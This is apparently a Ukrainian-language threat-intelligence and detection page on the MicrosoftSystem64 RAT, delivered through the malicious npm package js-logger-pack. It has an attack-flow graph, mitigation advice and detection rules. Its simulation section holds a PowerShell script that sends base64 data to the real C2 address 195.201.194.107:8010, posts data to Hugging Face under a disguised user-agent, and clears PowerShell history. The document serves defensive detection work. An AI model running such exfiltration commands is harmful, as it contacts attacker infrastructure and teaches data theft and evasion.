MicrosoftSystem64: RAT у ланцюгу поставок для ексфільтрації даних на Hugging Face
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Шкідливий npm пакет під назвою js-logger-pack був використаний для розповсюдження багатоплатформового Node.js додатку з одним виконуваним файлом під назвою MicrosoftSystem64. Двійковий файл функціонує як повнофункціональний троян для віддаленого доступу, здатний красти розширення криптовалютних гаманців, збережені браузером облікові дані, SSH-ключі, дані сеансу Telegram та скріншоти. Викрадена інформація ексфільтрується через приватні набори даних Hugging Face з використанням скомпрометованого API токена, тоді як командно-контрольний трафік обробляється через WebSocket сервер на 195.201.194.107:8010. Кампанія була пов’язана з загрозою, що асоціюється з Північною Кореєю, яка змінює облікові записи npm і Hugging Face для збереження доступу та підтримки операцій.
Розслідування
SafeDep проаналізувала зразок шкідливого програмного забезпечення та витягла його XOR-зашифровану конфігурацію, командно-контрольну кінцеву точку, токен Hugging Face та список з понад 80 цільових ID розширень гаманця. Дослідники також переглянули методи забезпечення стійкості, використані в системах Windows, macOS і Linux, та відновили весь ланцюжок ексфільтрації, що включає APIs Hugging Face. Жива перевірка 28 травня підтвердила, що активні набори даних все ще отримують скріншоти та архіви облікових даних, взяті з реальних жертв.
Пом’якшення
Організації повинні негайно видалити будь-які відомі шкідливі npm пакети, пов’язані з цією кампанією, змінити скомпрометовані облікові дані, SSH-ключі та насіння криптовалютних гаманців, та стежити за несанкціонованою активністю API Hugging Face. Захисти кінцевих точок повинні виявляти ім’я процесу MicrosoftSystem64 та будь-які пов’язані створення запланованих завдань. Мережевы контролі також повинні блокувати вихідний трафік на визначену IP-адресу командно-контроль і обмежувати несподіваний доступ до кінцевих точок Hugging Face з невідомих двійкових файлів.
Реакція
Якщо MicrosoftSystem64 виявлено, негайно ізолюйте уражену систему, припиніть шкідливий процес, видаліть установочні файли та заплановані завдання, і відкличте скомпрометований токен Hugging Face. Слідчі повинні зібрати судово-медичні докази з журналів і будь-яких шляхів ексфільтрації даних, потім сповістити відповідних зацікавлених сторін і оновити інструменти сканування залежностей, щоб блокувати шкідливі пакети в майбутніх збірках.
graph TB %% Оголошення класів classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9966 classDef infra fill:#ff9999 %% Вузли інструментів і шкідливого ПЗ tool_npm[“<b>Інструмент</b> – npm пакет `js-logger-pack`<br/><b>Опис</b> Містить SEA-бінарник `MicrosoftSystem64`”] class tool_npm tool malware_binary[“<b>Шкідливе ПЗ</b> – Бінарник `MicrosoftSystem64`<br/><b>Опис</b> Кросплатформний ELF, запакований як Node.js SEA з XOR-шифрованою конфігурацією”] class malware_binary malware infra_c2[“<b>Інфраструктура</b> – WebSocket C2<br/>IP 195.201.194.107 порт 8010”] class infra_c2 infra %% Вузли атаки init_supply_chain[“<b>Дія</b> – <b>T1195.001 Компрометація ланцюга постачання</b><br/>Зловмисник публікує шкідливий npm пакет `js-logger-pack`, що містить SEA-бінарник”] class init_supply_chain action execution_ingress[“<b>Дія</b> – <b>T1105 Передача інструменту всередину</b><br/>Жертва встановлює пакет і запускає вбудований Node.js бінарник”] class execution_ingress action defense_obfuscation[“<b>Дія</b> – <b>T1027.009 / T1027.004 Обфусковані файли або дані</b><br/>ELF запакований як SEA з XOR-шифрованою конфігурацією”] class defense_obfuscation action persistence_mechanisms[“<b>Дія</b> – <b>T1547.001 / T1547.014 / T1543.001 / T1543.002 Закріплення (Persistence)</b><br/>Створення ключів Run, Active Setup, LaunchAgent macOS і systemd-сервісу Linux”] class persistence_mechanisms action defense_hide[“<b>Дія</b> – <b>T1564.014 Приховування артефактів</b> & <b>T1497.002 Уникнення пісочниці</b><br/>Використання розширених атрибутів і перевірок активності користувача”] class defense_hide action priv_esc[“<b>Дія</b> – Підвищення привілеїв через механізми закріплення<br/>Повторне використання Run-ключа або сервісу для ескалації прав”] class priv_esc action cred_browser[“<b>Дія</b> – <b>T1217 Збір інформації браузера</b> & <b>T1555.003 Облікові дані браузера</b><br/>Викрадення даних Chrome, Edge, Firefox та криптогаманців”] class cred_browser action keylogging[“<b>Дія</b> – <b>T1056.001 Кейлогінг</b><br/>Зчитування натискань клавіш і буфера обміну у Windows/macOS/Linux”] class keylogging action collection_clip_video[“<b>Дія</b> – <b>T1115 Дані буфера обміну</b> & <b>T1125 Захоплення відео</b><br/>Скріншоти кожні 60 секунд і моніторинг буфера обміну”] class collection_clip_video action collection_db[“<b>Дія</b> – <b>T1213.006 Дані з інформаційних сховищ: бази даних</b><br/>Витяг браузерних БД, SSH ключів, Telegram tdata та інших даних”] class collection_db action c2_communication[“<b>Дія</b> – <b>T1105 Комунікація з C2</b><br/>З’єднання з WebSocket C2 на 195.201.194.107:8010”] class c2_communication action exfiltration_hf[“<b>Дія</b> – Ексфільтрація через API HuggingFace<br/>Завантаження викрадених даних у акаунт `jpeek998`”] class exfiltration_hf action impact_resource[“<b>Дія</b> – <b>T1496.001 Захоплення ресурсів</b><br/>Викрадення даних криптогаманців для незаконного використання”] class impact_resource action %% Потік tool_npm –>|доставляє| malware_binary malware_binary –>|активує| init_supply_chain init_supply_chain –>|призводить до| execution_ingress execution_ingress –>|призводить до| defense_obfuscation defense_obfuscation –>|призводить до| persistence_mechanisms persistence_mechanisms –>|активує| defense_hide defense_hide –>|активує| c2_communication persistence_mechanisms –>|активує| priv_esc priv_esc –>|призводить до| cred_browser cred_browser –>|призводить до| keylogging keylogging –>|призводить до| collection_clip_video collection_clip_video –>|призводить до| collection_db collection_db –>|призводить до| c2_communication c2_communication –>|використовує| infra_c2 c2_communication –>|призводить до| exfiltration_hf exfiltration_hf –>|результат| impact_resource
Потік Атаки
Виявлення
Можливі Точки Стійкості [ASEPs – Програмне забезпечення/NTUSER Hive] (через реєстр подій)
Переглянути
Можливість виконання через приховані лінії команд PowerShell (через cmdline)
Переглянути
Файл Linux .desktop був створений у незвичайній папці (через файл події)
Переглянути
Прихований файл був створений на хості Linux (через файл події)
Переглянути
IOCs (HashSha256) для виявлення: Усередині MicrosoftSystem64: РАТ ланцюга постачання з ексфільтрацією в HuggingFace
Переглянути
IOCs (SourceIP) для виявлення: Усередині MicrosoftSystem64: РАТ ланцюга постачання з ексфільтрацією в HuggingFace
Переглянути
IOCs (DestinationIP) для виявлення: Усередині MicrosoftSystem64: РАТ ланцюга постачання з ексфільтрацією в HuggingFace
Переглянути
Виявлення клавіатурного контролю SetWindowsHookEx шкідливим програмним забезпеченням [Windows Sysmon]
Переглянути
Виявлення РАТ MicrosoftSystem64 на системах Linux [Linux створення процесу]
Переглянути
Ексфільтрація даних РАТ MicrosoftSystem64 через HuggingFace [Windows мережеве з’єднання]
Переглянути
Виявлення виконання РАТ MicrosoftSystem64 і PowerShell команди [Windows створення процесу]
Переглянути
Виконання симуляції
Попередня умова: Телекартографія та базове перевірка повинні бути пройдені.
Раціональне: цей розділ описує точне виконання техніки, призначеної для спрацювання правила виявлення. Команди та наратив МАЮТЬ безпосередньо відповідати виявленим технікам та мають на меті генерувати точну телеметрію, очікувану логікою виявлення.
-
Наратив атаки та команди:
Атакуючий вже встановив “Microsoft System64 RAT” на скомпрометованому Windows хості. Щоб ексфільтрувати викрадені дані, RAT виконує дві паралельні дії:- Канал C2: Відкриває сирий сокет TCP до жорстко закодованого шкідливого сервера
195.201.194.107на порту8010та передає дані, закодовані в base-64. - Прихована HTTP ексфільтрація: Відправляє HTTPS
POSTзапит наhttps://huggingface.co/api/uploadз тими ж даними, вбудованими у тіло запиту, використовуючи законно виглядаючий user-agent, щоб злитись зі звичайним трафіком.
Обидві дії генерують події outbound firewall, які відповідають правилу Sigma.
- Канал C2: Відкриває сирий сокет TCP до жорстко закодованого шкідливого сервера
-
Скрипт тестування регресії:
# ------------------------------------------------- # Симуляція ексфільтрації System64 RAT (PowerShell) # ------------------------------------------------- # 1. Підготовка підроблених ексфільтраційних даних $data = "SecretData$(Get-Date -Format o)" | ConvertTo-Json $b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data)) # 2. Надіслати дані через сирий TCP (C2) $c2Ip = "195.201.194.107" $c2Port = 8010 try { $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Ip, $c2Port) $stream = $tcpClient.GetStream() $bytes = [Text.Encoding]::UTF8.GetBytes($b64) $stream.Write($bytes, 0, $bytes.Length) $stream.Close() $tcpClient.Close() Write-Host "[+] TCP ексфільтрація надіслана на $c2Ip:$c2Port" } catch { Write-Error "[-] З'єднання TCP не вдалося: $_" } # 3. Надіслати дані через HTTPS на HuggingFace (прихована ексфільтрація) $uri = "https://huggingface.co/api/upload" try { Invoke-WebRequest -Uri $uri ` -Method POST ` -Body @{ data = $b64 } ` -Headers @{ "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } ` -UseBasicParsing Write-Host "[+] HTTP ексфільтрація надіслана на huggingface.co" } catch { Write-Error "[-] Запит HTTP не вдалося: $_" } -
Команди очищення:
# Видаліть усі залишки мережевих артефактів Get-NetTCPConnection -RemoteAddress 195.201.194.107 -RemotePort 8010 | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } # Очистіть історію PowerShell (опціонально) Clear-History